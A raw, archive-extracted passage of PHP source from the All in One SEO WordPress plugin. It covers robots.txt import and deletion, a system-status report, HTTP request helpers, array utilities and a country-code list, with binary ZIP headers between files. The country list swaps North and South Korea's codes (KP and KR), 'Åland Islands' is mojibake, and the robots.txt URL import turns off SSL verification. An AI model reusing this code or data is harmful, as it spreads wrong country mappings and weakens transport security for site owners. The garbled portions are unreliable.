true ); $options->tools->robots->rules = aioseo()->robotsTxt->prepareRobotsTxt( $ruleset ); return true; } /** * Import robots.txt from a URL. * * @since 4.4.2 * * @param string $url The URL to import from. * @param bool $network True if inside WordPress network administration pages. * @throws \Exception If request fails. * @return bool Whether the import was successful or not. */ public function importRobotsTxtFromUrl( $url, $network ) { $request = wp_remote_get( $url, [ 'timeout' => 10, 'sslverify' => false ] ); $robotsTxtContent = wp_remote_retrieve_body( $request ); if ( ! $robotsTxtContent ) { throw new \Exception( esc_html__( 'There was an error importing the robots.txt content from the URL.', 'all-in-one-seo-pack' ) ); } $options = aioseo()->options; if ( $network ) { $options = aioseo()->networkOptions; } $newRules = $this->extractRules( $robotsTxtContent ); $currentRules = $this->groupRulesByUserAgent( $options->tools->robots->rules ); $newRules = $this->mergeRules( $currentRules, $newRules, false, true ); $options->tools->robots->rules = aioseo()->robotsTxt->prepareRobotsTxt( $newRules ); return true; } /** * Deletes the physical robots.txt file. * * @since 4.4.5 * * @throws \Exception If the file is not readable, or it can't be deleted. * @return true True if the file was successfully deleted. */ public function deletePhysicalRobotsTxt() { try { $fs = aioseo()->core->fs; if ( ! $fs->isWpfsValid() || ! $fs->fs->delete( trailingslashit( $fs->fs->abspath() ) . 'robots.txt' ) ) { throw new \Exception( __( 'There was an error deleting the physical robots.txt file.', 'all-in-one-seo-pack' ) ); } Models\Notification::deleteNotificationByName( 'robots-physical-file' ); return true; } catch ( \Exception $e ) { throw new \Exception( esc_html( $e->getMessage() ) ); } } /** * Prepare robots.txt rules to save. * * @since 4.1.4 * * @param array $allRules Array with the rules. * @return array The prepared rules array. */ public function prepareRobotsTxt( $allRules = [] ) { $robots = []; foreach ( $allRules as $userAgent => $rules ) { if ( empty( $userAgent ) ) { continue; } foreach ( $rules as $rule ) { list( $directive, $value ) = $this->parseRule( $rule ); if ( empty( $directive ) || empty( $value ) ) { continue; } if ( '*' === $userAgent && ( 'allow' === $directive && '/wp-admin/admin-ajax.php' === $value || 'disallow' === $directive && '/wp-admin/' === $value ) ) { continue; } $robots[] = wp_json_encode( [ 'userAgent' => $userAgent, 'directive' => $directive, 'fieldValue' => $value ] ); } } return $robots; } /** * Checks if a physical robots.txt file exists. * * @since 4.0.0 * * @return boolean True if it does, false if not. */ public function hasPhysicalRobotsTxt() { $fs = aioseo()->core->fs; if ( ! $fs->isWpfsValid() ) { return false; } $accessType = get_filesystem_method(); if ( 'direct' === $accessType ) { $file = trailingslashit( $fs->fs->abspath() ) . 'robots.txt'; return $fs->exists( $file ); } return false; } /** * Get the default Robots.txt lines (excluding our own). * * @since 4.1.7 * @version 4.4.2 * * @return string The robots.txt content rules (excluding our own). */ public function getDefaultRobotsTxtContent() { // First, we need to remove our filter, so that it doesn't run unintentionally. remove_filter( 'robots_txt', [ $this, 'buildRules' ], 10000 ); ob_start(); do_robots(); if ( is_admin() ) { header( 'Content-Type: text/html; charset=utf-8' ); } $rules = strval( ob_get_clean() ); // Add the filter back. add_filter( 'robots_txt', [ $this, 'buildRules' ], 10000 ); return $rules; } /** * A check to see if the rewrite rules are set. * This isn't perfect, but it will help us know in most cases. * * @since 4.0.0 * * @return boolean Whether the rewrite rules are set or not. */ public function rewriteRulesExist() { // If we have a physical file, it's almost impossible to tell if the rewrite rules are set. // The only scenario is if we still get a 404. $response = wp_remote_get( aioseo()->helpers->getSiteUrl() . '/robots.txt' ); if ( 299 < wp_remote_retrieve_response_code( $response ) ) { return false; } return true; } }PKÉ—[b¥>U225all-in-one-seo-pack/app/Common/Tools/SystemStatus.phpnu„[µü¤ self::getWordPressInfo(), 'constants' => self::getConstants(), 'serverInfo' => self::getServerInfo(), 'muPlugins' => self::mustUsePlugins(), 'activeTheme' => self::activeTheme(), 'activePlugins' => self::activePlugins(), 'inactivePlugins' => self::inactivePlugins(), 'database' => self::getDatabaseInfo() ]; } /** * Get an array of system info from WordPress. * * @since 4.0.0 * * @return array An array of system info. */ public static function getWordPressInfo() { $uploadsDir = wp_upload_dir(); $version = get_bloginfo( 'version' ); $updates = get_site_transient( 'update_core' ); $updateVersion = ! empty( $updates->updates[0]->version ) ? $updates->updates[0]->version : null; if ( version_compare( $version, $updateVersion, '<' ) ) { $version .= ' (' . __( 'Latest version:', 'all-in-one-seo-pack' ) . ' ' . $updateVersion . ')'; } return [ 'label' => 'WordPress', 'results' => [ [ 'header' => __( 'Version', 'all-in-one-seo-pack' ), 'value' => $version ], [ 'header' => __( 'Site Title', 'all-in-one-seo-pack' ), 'value' => get_bloginfo( 'name' ) ], [ 'header' => __( 'Site Language', 'all-in-one-seo-pack' ), 'value' => get_locale() ?: 'en_US' ], [ 'header' => __( 'User Language', 'all-in-one-seo-pack' ), 'value' => get_user_locale( get_current_user_id() ) ], [ 'header' => __( 'Timezone', 'all-in-one-seo-pack' ), 'value' => aioseo()->helpers->getTimeZoneOffset() ], [ 'header' => __( 'Home URL', 'all-in-one-seo-pack' ), 'value' => home_url() ], [ 'header' => __( 'Site URL', 'all-in-one-seo-pack' ), 'value' => site_url() ], [ 'header' => __( 'Permalink Structure', 'all-in-one-seo-pack' ), 'value' => get_option( 'permalink_structure' ) ? get_option( 'permalink_structure' ) : __( 'Default', 'all-in-one-seo-pack' ) ], [ 'header' => __( 'Multisite', 'all-in-one-seo-pack' ), 'value' => is_multisite() ? __( 'Yes', 'all-in-one-seo-pack' ) : __( 'No', 'all-in-one-seo-pack' ) ], [ 'header' => 'HTTPS', 'value' => is_ssl() ? __( 'Yes', 'all-in-one-seo-pack' ) : __( 'No', 'all-in-one-seo-pack' ) ], [ 'header' => __( 'User Count', 'all-in-one-seo-pack' ), 'value' => count_users()['total_users'] ], [ 'header' => __( 'Front Page Info', 'all-in-one-seo-pack' ), 'value' => 'page' === get_option( 'show_on_front' ) ? get_option( 'show_on_front' ) . ' [ID: ' . get_option( 'page_on_front' ) . ']' : get_option( 'show_on_front' ) ], [ 'header' => __( 'Search Engine Visibility', 'all-in-one-seo-pack' ), 'value' => get_option( 'blog_public' ) ? __( 'Visible', 'all-in-one-seo-pack' ) : __( 'Hidden', 'all-in-one-seo-pack' ) ], [ 'header' => __( 'Upload Directory Info', 'all-in-one-seo-pack' ), 'value' => __( 'Path:', 'all-in-one-seo-pack' ) . ' ' . $uploadsDir['path'] . ', ' . __( 'Url:', 'all-in-one-seo-pack' ) . ' ' . $uploadsDir['url'] . ', ' . __( 'Base Directory:', 'all-in-one-seo-pack' ) . ' ' . $uploadsDir['basedir'] . ', ' . __( 'Base URL:', 'all-in-one-seo-pack' ) . ' ' . $uploadsDir['baseurl'] ] ] ]; } /** * Get an array of database info from WordPress. * * @since 4.4.5 * * @return array An array of database info. */ public static function getDatabaseInfo() { $dbInfo = aioseo()->core->db->getDatabaseInfo(); if ( empty( $dbInfo['tables'] ) ) { return []; } if ( ! aioseo()->helpers->isDev() ) { return []; } $results = []; $tables = array_merge( $dbInfo['tables']['aioseo'], $dbInfo['tables']['other'] ); foreach ( $tables as $tableName => $tableData ) { $results[] = [ 'header' => $tableName, 'value' => sprintf( // Translators: %1$s is the data size, %2$s is the index size, %3$s is the engine type. __( 'Data: %1$.2f MB / Index: %2$.2f MB / Engine: %3$s / Collation: %4$s', 'all-in-one-seo-pack' ), $tableData['data'], $tableData['index'], $tableData['engine'], $tableData['collation'] ) ]; } return [ 'label' => __( 'Database', 'all-in-one-seo-pack' ), 'results' => array_merge( [ [ 'header' => __( 'Database Size', 'all-in-one-seo-pack' ), 'value' => sprintf( '%.2f MB', $dbInfo['size']['data'] + $dbInfo['size']['index'] ) ] ], $results ) ]; } /** * Get an array of system info from WordPress constants. * * @since 4.0.0 * * @return array An array of system info. */ public static function getConstants() { return [ 'label' => __( 'Constants', 'all-in-one-seo-pack' ), 'results' => [ [ 'header' => 'ABSPATH', 'value' => ABSPATH ], [ 'header' => 'WP_CONTENT_DIR', 'value' => defined( 'WP_CONTENT_DIR' ) ? ( WP_CONTENT_DIR ? WP_CONTENT_DIR : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ], [ 'header' => 'WP_CONTENT_URL', 'value' => defined( 'WP_CONTENT_URL' ) ? ( WP_CONTENT_URL ? WP_CONTENT_URL : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ], [ 'header' => 'UPLOADS', 'value' => defined( 'UPLOADS' ) ? ( UPLOADS ? UPLOADS : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ], [ 'header' => 'WP_DEBUG', 'value' => defined( 'WP_DEBUG' ) ? ( WP_DEBUG ? WP_DEBUG : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ], [ 'header' => 'WP_DEBUG_LOG', 'value' => defined( 'WP_DEBUG_LOG' ) ? ( WP_DEBUG_LOG ? WP_DEBUG_LOG : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ], [ 'header' => 'WP_DEBUG_DISPLAY', 'value' => defined( 'WP_DEBUG_DISPLAY' ) ? ( WP_DEBUG_DISPLAY ? WP_DEBUG_DISPLAY : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ], [ 'header' => 'WPS_DEBUG', 'value' => defined( 'WPS_DEBUG' ) ? ( WPS_DEBUG ? WPS_DEBUG : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ], [ 'header' => 'DB_CHARSET', 'value' => defined( 'DB_CHARSET' ) ? ( DB_CHARSET ? DB_CHARSET : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ], [ 'header' => 'DB_COLLATE', 'value' => defined( 'DB_COLLATE' ) ? ( DB_COLLATE ? DB_COLLATE : __( 'Disabled', 'all-in-one-seo-pack' ) ) : __( 'Not set', 'all-in-one-seo-pack' ) ] ] ]; } /** * Get an array of system info from the server. * * @since 4.0.0 * * @return array An array of system info. */ public static function getServerInfo() { $sqlMode = null; $mysqlInfo = aioseo()->core->db->db->get_results( "SHOW VARIABLES LIKE 'sql_mode'" ); if ( ! empty( $mysqlInfo ) && is_array( $mysqlInfo ) ) { $sqlMode = $mysqlInfo[0]->Value; } $dbServerInfo = method_exists( aioseo()->core->db->db, 'db_server_info' ) ? aioseo()->core->db->db->db_server_info() : ( function_exists( 'mysqli_get_server_info' ) ? mysqli_get_server_info( aioseo()->core->db->db->dbh ) // phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysqli_get_server_info : '' ); return [ 'label' => __( 'Server Info', 'all-in-one-seo-pack' ), 'results' => [ [ 'header' => __( 'Operating System', 'all-in-one-seo-pack' ), 'value' => PHP_OS ], [ 'header' => __( 'Web Server', 'all-in-one-seo-pack' ), 'value' => ! empty( $_SERVER['SERVER_SOFTWARE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) ) : __( 'unknown', 'all-in-one-seo-pack' ) ], [ 'header' => __( 'Memory Usage', 'all-in-one-seo-pack' ), 'value' => function_exists( 'memory_get_usage' ) ? round( memory_get_usage() / 1024 / 1024, 2 ) . 'M' : __( 'N/A', 'all-in-one-seo-pack' ) ], [ 'header' => __( 'Database Powered By', 'all-in-one-seo-pack' ), 'value' => stripos( $dbServerInfo, 'mariadb' ) !== false ? 'MariaDB' : 'MySQL' ], [ 'header' => __( 'Database Version', 'all-in-one-seo-pack' ), 'value' => aioseo()->core->db->db->db_version() ], [ 'header' => __( 'SQL Mode', 'all-in-one-seo-pack' ), 'value' => $sqlMode ?? __( 'Not Set', 'all-in-one-seo-pack' ), ], [ 'header' => __( 'PHP Version', 'all-in-one-seo-pack' ), 'value' => PHP_VERSION ], [ 'header' => __( 'PHP Memory Limit', 'all-in-one-seo-pack' ), 'value' => ini_get( 'memory_limit' ) ], [ 'header' => __( 'PHP Max Upload Size', 'all-in-one-seo-pack' ), 'value' => ini_get( 'upload_max_filesize' ) ], [ 'header' => __( 'PHP Max Post Size', 'all-in-one-seo-pack' ), 'value' => ini_get( 'post_max_size' ) ], [ 'header' => __( 'PHP Max Script Execution Time', 'all-in-one-seo-pack' ), 'value' => ini_get( 'max_execution_time' ) ], [ 'header' => __( 'PHP Exif Support', 'all-in-one-seo-pack' ), 'value' => is_callable( 'exif_read_data' ) ? __( 'Yes', 'all-in-one-seo-pack' ) : __( 'No', 'all-in-one-seo-pack' ) ], [ 'header' => __( 'PHP IPTC Support', 'all-in-one-seo-pack' ), 'value' => is_callable( 'iptcparse' ) ? __( 'Yes', 'all-in-one-seo-pack' ) : __( 'No', 'all-in-one-seo-pack' ) ], [ 'header' => __( 'PHP XML Support', 'all-in-one-seo-pack' ), 'value' => is_callable( 'xml_parser_create' ) ? __( 'Yes', 'all-in-one-seo-pack' ) : __( 'No', 'all-in-one-seo-pack' ) ] ] ]; } /** * Get an array of system info from the active theme. * * @since 4.0.0 * * @return array An array of system info. */ public static function activeTheme() { $themeData = wp_get_theme(); return [ 'label' => __( 'Active Theme', 'all-in-one-seo-pack' ), 'results' => [ [ 'header' => $themeData->name, 'value' => $themeData->version ] ] ]; } /** * Get an array of system info from must-use plugins. * * @since 4.0.0 * * @return array An array of system info. */ public static function mustUsePlugins() { $plugins = []; $muPlugins = get_mu_plugins(); if ( ! empty( $muPlugins ) ) { foreach ( $muPlugins as $pluginData ) { $plugins[] = [ 'header' => $pluginData['Name'], 'value' => $pluginData['Version'] ]; } } return [ 'label' => __( 'Must-Use Plugins', 'all-in-one-seo-pack' ), 'results' => $plugins ]; } /** * Get an array of system info from active plugins. * * @since 4.0.0 * * @return array An array of system info. */ public static function activePlugins() { $plugins = []; $allPlugins = get_plugins(); $activePlugins = get_option( 'active_plugins', [] ); $updates = get_plugin_updates(); if ( ! empty( $allPlugins ) ) { foreach ( $allPlugins as $pluginPath => $pluginData ) { if ( ! in_array( $pluginPath, $activePlugins, true ) ) { continue; } $update = ( array_key_exists( $pluginPath, $updates ) ) ? ' (' . __( 'needs update', 'all-in-one-seo-pack' ) . ' - ' . $updates[ $pluginPath ]->update->new_version . ')' : ''; $plugins[] = [ 'header' => $pluginData['Name'], 'value' => $pluginData['Version'] . $update ]; } } return [ 'label' => __( 'Active Plugins', 'all-in-one-seo-pack' ), 'results' => $plugins ]; } /** * Get an array of system info from inactive plugins. * * @since 4.0.0 * * @return array An array of system info. */ public static function inactivePlugins() { $plugins = []; $allPlugins = get_plugins(); $activePlugins = get_option( 'active_plugins', [] ); $updates = get_plugin_updates(); if ( ! empty( $allPlugins ) ) { foreach ( $allPlugins as $pluginPath => $pluginData ) { if ( in_array( $pluginPath, $activePlugins, true ) ) { continue; } $update = ( array_key_exists( $pluginPath, $updates ) ) ? ' (' . __( 'needs update', 'all-in-one-seo-pack' ) . ' - ' . $updates[ $pluginPath ]->update->new_version . ')' : ''; $plugins[] = [ 'header' => $pluginData['Name'], 'value' => $pluginData['Version'] . $update ]; } } return [ 'label' => __( 'Inactive Plugins', 'all-in-one-seo-pack' ), 'results' => $plugins ]; } }PKÉ—[x ê ê 5all-in-one-seo-pack/app/Common/Traits/Helpers/Api.phpnu„[µü¤ 'application/json' ] ); // Setup variable for wp_remote_post. $requestArgs = [ 'headers' => $headers, 'body' => $body, 'timeout' => 20 ]; // Perform the query and retrieve the response. $response = $this->wpRemotePost( $url, $requestArgs ); $responseBody = wp_remote_retrieve_body( $response ); // Bail out early if there are any errors. if ( ! $responseBody ) { return null; } // Return the json decoded content. return json_decode( $responseBody ); } /** * Default arguments for wp_remote_get and wp_remote_post. * * @since 4.2.4 * * @return array An array of default arguments for the request. */ private function getWpApiRequestDefaults() { return [ 'timeout' => 10, 'headers' => aioseo()->helpers->getApiHeaders(), 'user-agent' => aioseo()->helpers->getApiUserAgent() ]; } /** * Sends a request using wp_remote_post. * * @since 4.2.4 * * @param string $url The URL to send the request to. * @param array $args The args to use in the request. * @return array|\WP_Error The response as an array or WP_Error on failure. */ public function wpRemotePost( $url, $args = [] ) { return wp_remote_post( $url, array_replace_recursive( $this->getWpApiRequestDefaults(), $args ) ); } /** * Sends a request using wp_remote_get. * * @since 4.2.4 * * @param string $url The URL to send the request to. * @param array $args The args to use in the request. * @return array|\WP_Error The response as an array or WP_Error on failure. */ public function wpRemoteGet( $url, $args = [] ) { return wp_remote_get( $url, array_replace_recursive( $this->getWpApiRequestDefaults(), $args ) ); } }PKÉ—[gì@££8all-in-one-seo-pack/app/Common/Traits/Helpers/Arrays.phpnu„[µü¤ $value ) { // Check for non-existing values. if ( ! isset( $array2[ $key ] ) ) { return true; } if ( is_array( $value ) ) { if ( $this->arraysDifferent( $value, $array2[ $key ] ) ) { return true; } } else { if ( $value !== $array2[ $key ] ) { return true; } } } return false; } /** * Checks whether the given array is associative. * Arrays that only have consecutive, sequential numeric keys are numeric. * Otherwise they are associative. * * @since 4.1.4 * * @param array $array The array. * @return bool Whether the array is associative. */ public function isArrayAssociative( $array ) { return 0 < count( array_filter( array_keys( $array ), 'is_string' ) ); } /** * Checks whether the given array is numeric. * * @since 4.1.4 * * @param array $array The array. * @return bool Whether the array is numeric. */ public function isArrayNumeric( $array ) { return ! $this->isArrayAssociative( $array ); } /** * Recursively replaces the values from one array with the ones from another. * This function should act identical to the built-in array_replace_recursive(), with the exception that it also replaces array values with empty arrays. * * @since 4.2.4 * * @param array $targetArray The target array * @param array $replacementArray The array with values to replace in the target array. * @return array The modified array. */ public function arrayReplaceRecursive( $targetArray, $replacementArray ) { // In some cases the target array isn't an array yet (due to e.g. race conditions in InternalOptions), so in that case we can just return the replacement array. if ( ! is_array( $targetArray ) ) { return $replacementArray; } foreach ( $replacementArray as $k => $v ) { // If the key does not exist yet on the target array, add it. if ( ! isset( $targetArray[ $k ] ) ) { $targetArray[ $k ] = $replacementArray[ $k ]; continue; } // If the value is an array, only try to recursively replace it if the value isn't empty. // Otherwise empty arrays will be ignored and won't override the existing value of the target array. if ( is_array( $v ) && ! empty( $v ) ) { $targetArray[ $k ] = $this->arrayReplaceRecursive( $targetArray[ $k ], $v ); continue; } // Replace with non-array value or empty array. $targetArray[ $k ] = $v; } return $targetArray; } /** * Recursively intersects the two given arrays. * You can pass in an optional argument (allowedKey) to restrict the intersect to arrays with a specific key. * This is needed when we are e.g. sanitizing array values before setting/saving them to an option. * This helper method was mainly built to support our complex options architecture. * * @since 4.2.5 * * @param array $array1 The first array. * @param array $array2 The second array. * @param string $allowedKey The only key the method should run for (optional). * @param string $parentKey The parent key. * @return array The intersected array. */ public function arrayIntersectRecursive( $array1, $array2, $allowedKey = '', $parentKey = '' ) { if ( ! $allowedKey || $allowedKey === $parentKey ) { $array1 = $this->arrayIntersectRecursiveHelper( $array1, $array2 ); } if ( empty( $array1 ) ) { return []; } foreach ( $array1 as $k => $v ) { if ( is_array( $v ) && isset( $array2[ $k ] ) ) { $array1[ $k ] = $this->arrayIntersectRecursive( $array1[ $k ], $array2[ $k ], $allowedKey, $k ); } } if ( $this->isArrayNumeric( $array1 ) ) { $array1 = array_values( $array1 ); } return $array1; } /** * Recursively intersects the two given arrays. Supports arrays with a mix of nested arrays and primitive values. * Helper function for arrayIntersectRecursive(). * * @since 4.5.4 * * @param array $array1 The first array. * @param array $array2 The second array. * @return array The intersected array. */ private function arrayIntersectRecursiveHelper( $array1, $array2 ) { if ( null === $array2 ) { $array2 = []; } if ( is_array( $array1 ) ) { // First, check with keys are nested arrays and which are primitive values. $arrays = []; $primitives = []; foreach ( $array1 as $k => $v ) { if ( is_array( $v ) ) { $arrays[ $k ] = $v; } else { $primitives[ $k ] = $v; } } // Then, intersect the primitive values. $intersectedPrimitives = array_intersect_assoc( $primitives, $array2 ); // Finally, recursively intersect the nested arrays. $intersectedArrays = []; foreach ( $arrays as $k => $v ) { if ( isset( $array2[ $k ] ) ) { $intersectedArrays[ $k ] = $this->arrayIntersectRecursiveHelper( $v, $array2[ $k ] ); } else { // If the nested array doesn't exist in the second array, we can just unset it. unset( $arrays[ $k ] ); } } // Merge the intersected arrays and primitive values. return array_merge( $intersectedPrimitives, $intersectedArrays ); } return array_intersect_assoc( $array1, $array2 ); } /** * Sorts the keys of an array alphabetically. * The array is passed by reference, so it's not returned the same as in `ksort()`. * * @since 4.4.0.3 * * @param array $array The array to sort, passed by reference. */ public function arrayRecursiveKsort( &$array ) { foreach ( $array as &$value ) { if ( is_array( $value ) ) { $this->arrayRecursiveKsort( $value ); } } ksort( $array ); } /** * Creates a multidimensional array from a list of keys and a value. * * @since 4.5.3 * * @param array $keys The keys to create the array from. * @param mixed $value The value to assign to the last key. * @param array $array The array when recursing. * @return array The multidimensional array. */ public function createMultidimensionalArray( $keys, $value, $array = [] ) { $key = array_shift( $keys ); if ( empty( $array[ $key ] ) ) { $array[ $key ] = null; } if ( 0 < count( $keys ) ) { $array[ $key ] = $this->createMultidimensionalArray( $keys, $value, $array[ $key ] ); } else { $array[ $key ] = $value; } return $array; } }PKÉ—[Ql2ˆ6+6+;all-in-one-seo-pack/app/Common/Traits/Helpers/Constants.phpnu„[µü¤'; // phpcs:ignore Generic.Files.LineLength.MaxExceeded } /** * Returns the country name by code. * * @since 4.0.17 * * @param string $countryCode The country code. * @return string Country name. */ public function getCountryName( $countryCode ) { return isset( $this->countryList()[ $countryCode ] ) ? $this->countryList()[ $countryCode ] : ''; } /** * Returns a list of countries. * * @since 4.0.17 * * @return array A list of countries. */ public function countryList() { return [ 'AF' => 'Afghanistan', 'AL' => 'Albania', 'DZ' => 'Algeria', 'AS' => 'American Samoa', 'AD' => 'Andorra', 'AO' => 'Angola', 'AI' => 'Anguilla', 'AQ' => 'Antarctica', 'AG' => 'Antigua and Barbuda', 'AR' => 'Argentina', 'AM' => 'Armenia', 'AW' => 'Aruba', 'AU' => 'Australia', 'AT' => 'Austria', 'AZ' => 'Azerbaijan', 'BS' => 'Bahamas', 'BH' => 'Bahrain', 'BD' => 'Bangladesh', 'BB' => 'Barbados', 'BY' => 'Belarus', 'BE' => 'Belgium', 'BZ' => 'Belize', 'BJ' => 'Benin', 'BM' => 'Bermuda', 'BT' => 'Bhutan', 'BO' => 'Bolivia', 'BQ' => 'Bonaire', 'BA' => 'Bosnia and Herzegovina', 'BW' => 'Botswana', 'BV' => 'Bouvet Island', 'BR' => 'Brazil', 'IO' => 'British Indian Ocean Territory', 'BN' => 'Brunei Darussalam', 'BG' => 'Bulgaria', 'BF' => 'Burkina Faso', 'BI' => 'Burundi', 'CV' => 'Cabo Verde', 'KH' => 'Cambodia', 'CM' => 'Cameroon', 'CA' => 'Canada', 'KY' => 'Cayman Islands', 'CF' => 'Central African Republic', 'TD' => 'Chad', 'CL' => 'Chile', 'CN' => 'China', 'CX' => 'Christmas Island', 'CC' => 'Cocos (Keeling) Islands', 'CO' => 'Colombia', 'KM' => 'Comoros', 'CD' => 'Democratic Republic of the Congo', 'CG' => 'Congo', 'CK' => 'Cook Islands', 'CR' => 'Costa Rica', 'HR' => 'Croatia', 'CU' => 'Cuba', 'CW' => 'Curaçao', 'CY' => 'Cyprus', 'CZ' => 'Czechia', 'CI' => 'Côte d\'Ivoire', 'DK' => 'Denmark', 'DJ' => 'Djibouti', 'DM' => 'Dominica', 'DO' => 'Dominican Republic', 'EC' => 'Ecuador', 'EG' => 'Egypt', 'SV' => 'El Salvador', 'GQ' => 'Equatorial Guinea', 'ER' => 'Eritrea', 'EE' => 'Estonia', 'SZ' => 'Eswatini', 'ET' => 'Ethiopia', 'FK' => 'Falkland Islands', 'FO' => 'Faroe Islands', 'FJ' => 'Fiji', 'FI' => 'Finland', 'FR' => 'France', 'GF' => 'French Guiana', 'PF' => 'French Polynesia', 'TF' => 'French Southern Territories', 'GA' => 'Gabon', 'GM' => 'Gambia', 'GE' => 'Georgia', 'DE' => 'Germany', 'GH' => 'Ghana', 'GI' => 'Gibraltar', 'GR' => 'Greece', 'GL' => 'Greenland', 'GD' => 'Grenada', 'GP' => 'Guadeloupe', 'GU' => 'Guam', 'GT' => 'Guatemala', 'GG' => 'Guernsey', 'GN' => 'Guinea', 'GW' => 'Guinea-Bissau', 'GY' => 'Guyana', 'HT' => 'Haiti', 'HM' => 'Heard Island and McDonald Islands', 'VA' => 'Holy See', 'HN' => 'Honduras', 'HK' => 'Hong Kong', 'HU' => 'Hungary', 'IS' => 'Iceland', 'IN' => 'India', 'ID' => 'Indonesia', 'IR' => 'Iran', 'IQ' => 'Iraq', 'IE' => 'Ireland', 'IM' => 'Isle of Man', 'IL' => 'Israel', 'IT' => 'Italy', 'JM' => 'Jamaica', 'JP' => 'Japan', 'JE' => 'Jersey', 'JO' => 'Jordan', 'KZ' => 'Kazakhstan', 'KE' => 'Kenya', 'KI' => 'Kiribati', 'KP' => 'South Korea', 'KR' => 'North Korea', 'KW' => 'Kuwait', 'KG' => 'Kyrgyzstan', 'LA' => 'Lao People\'s Democratic Republic', 'LV' => 'Latvia', 'LB' => 'Lebanon', 'LS' => 'Lesotho', 'LR' => 'Liberia', 'LY' => 'Libya', 'LI' => 'Liechtenstein', 'LT' => 'Lithuania', 'LU' => 'Luxembourg', 'MO' => 'Macao', 'MG' => 'Madagascar', 'MW' => 'Malawi', 'MY' => 'Malaysia', 'MV' => 'Maldives', 'ML' => 'Mali', 'MT' => 'Malta', 'MH' => 'Marshall Islands', 'MQ' => 'Martinique', 'MR' => 'Mauritania', 'MU' => 'Mauritius', 'YT' => 'Mayotte', 'MX' => 'Mexico', 'FM' => 'Micronesia', 'MD' => 'Moldova', 'MC' => 'Monaco', 'MN' => 'Mongolia', 'ME' => 'Montenegro', 'MS' => 'Montserrat', 'MA' => 'Morocco', 'MZ' => 'Mozambique', 'MM' => 'Myanmar', 'NA' => 'Namibia', 'NR' => 'Nauru', 'NP' => 'Nepal', 'NL' => 'Netherlands', 'NC' => 'New Caledonia', 'NZ' => 'New Zealand', 'NI' => 'Nicaragua', 'NE' => 'Niger', 'NG' => 'Nigeria', 'NU' => 'Niue', 'NF' => 'Norfolk Island', 'MP' => 'Northern Mariana Islands', 'NO' => 'Norway', 'OM' => 'Oman', 'PK' => 'Pakistan', 'PW' => 'Palau', 'PS' => 'Palestine, State of', 'PA' => 'Panama', 'PG' => 'Papua New Guinea', 'PY' => 'Paraguay', 'PE' => 'Peru', 'PH' => 'Philippines', 'PN' => 'Pitcairn', 'PL' => 'Poland', 'PT' => 'Portugal', 'PR' => 'Puerto Rico', 'QA' => 'Qatar', 'MK' => 'Republic of North Macedonia', 'RO' => 'Romania', 'RU' => 'Russian Federation', 'RW' => 'Rwanda', 'RE' => 'Réunion', 'BL' => 'Saint Barthélemy', 'SH' => 'Saint Helena, Ascension and Tristan da Cunha', 'KN' => 'Saint Kitts and Nevis', 'LC' => 'Saint Lucia', 'MF' => 'Saint Martin', 'PM' => 'Saint Pierre and Miquelon', 'VC' => 'Saint Vincent and the Grenadines', 'WS' => 'Samoa', 'SM' => 'San Marino', 'ST' => 'Sao Tome and Principe', 'SA' => 'Saudi Arabia', 'SN' => 'Senegal', 'RS' => 'Serbia', 'SC' => 'Seychelles', 'SL' => 'Sierra Leone', 'SG' => 'Singapore', 'SX' => 'Sint Maarten', 'SK' => 'Slovakia', 'SI' => 'Slovenia', 'SB' => 'Solomon Islands', 'SO' => 'Somalia', 'ZA' => 'South Africa', 'GS' => 'South Georgia and the South Sandwich Islands', 'SS' => 'South Sudan', 'ES' => 'Spain', 'LK' => 'Sri Lanka', 'SD' => 'Sudan', 'SR' => 'Suriname', 'SJ' => 'Svalbard and Jan Mayen', 'SE' => 'Sweden', 'CH' => 'Switzerland', 'SY' => 'Syrian Arab Republic', 'TW' => 'Taiwan', 'TJ' => 'Tajikistan', 'TZ' => 'Tanzania, United Republic of', 'TH' => 'Thailand', 'TL' => 'Timor-Leste', 'TG' => 'Togo', 'TK' => 'Tokelau', 'TO' => 'Tonga', 'TT' => 'Trinidad and Tobago', 'TN' => 'Tunisia', 'TR' => 'Turkey', 'TM' => 'Turkmenistan', 'TC' => 'Turks and Caicos Islands', 'TV' => 'Tuvalu', 'UG' => 'Uganda', 'UA' => 'Ukraine', 'AE' => 'United Arab Emirates', 'GB' => 'United Kingdom of Great Britain and Northern Ireland', 'UM' => 'United States Minor Outlying Islands', 'US' => 'United States of America', 'UY' => 'Uruguay', 'UZ' => 'Uzbekistan', 'VU' => 'Vanuatu', 'VE' => 'Venezuela', 'VN' => 'Vietnam', 'VG' => 'Virgin Islands (British)', 'VI' => 'Virgin Islands (U.S.)', 'WF' => 'Wallis and Futuna', 'EH' => 'Western Sahara', 'YE' => 'Yemen', 'ZM' => 'Zambia', 'ZW' => 'Zimbabwe', 'AX' => 'Ã…land Islands' ]; } }PKÉ—[Eã`á á :all-in-one-seo-pack/app/Common/Traits/Helpers/DateTime.phpnu„[µü¤getScriptUrl( $url, $vue ), [], aioseo()->version, true ); } } /** * Helper method to enqueue stylesheets. * * @since 4.0.0 * * @param string $style The stylesheet to enqueue. * @param string $url The URL of the stylesheet. * @param bool $vue Whether or not this is a vue stylesheet. * @return void */ public function enqueueStyle( $style, $url, $vue = true ) { if ( ! wp_style_is( $style, 'enqueued' ) && $this->shouldEnqueue( $url ) ) { wp_enqueue_style( $style, $this->getScriptUrl( $url, $vue ), [], aioseo()->version ); } } /** * Whether or not we should enqueue a file. * * @since 4.0.0 * * @param string $url The url to check against. * @return bool Whether or not we should enqueue. */ private function shouldEnqueue( $url ) { $version = strtoupper( aioseo()->versionPath ); $host = defined( 'AIOSEO_DEV_' . $version ) ? constant( 'AIOSEO_DEV_' . $version ) : false; if ( ! $host ) { return true; } if ( false !== strpos( $url, 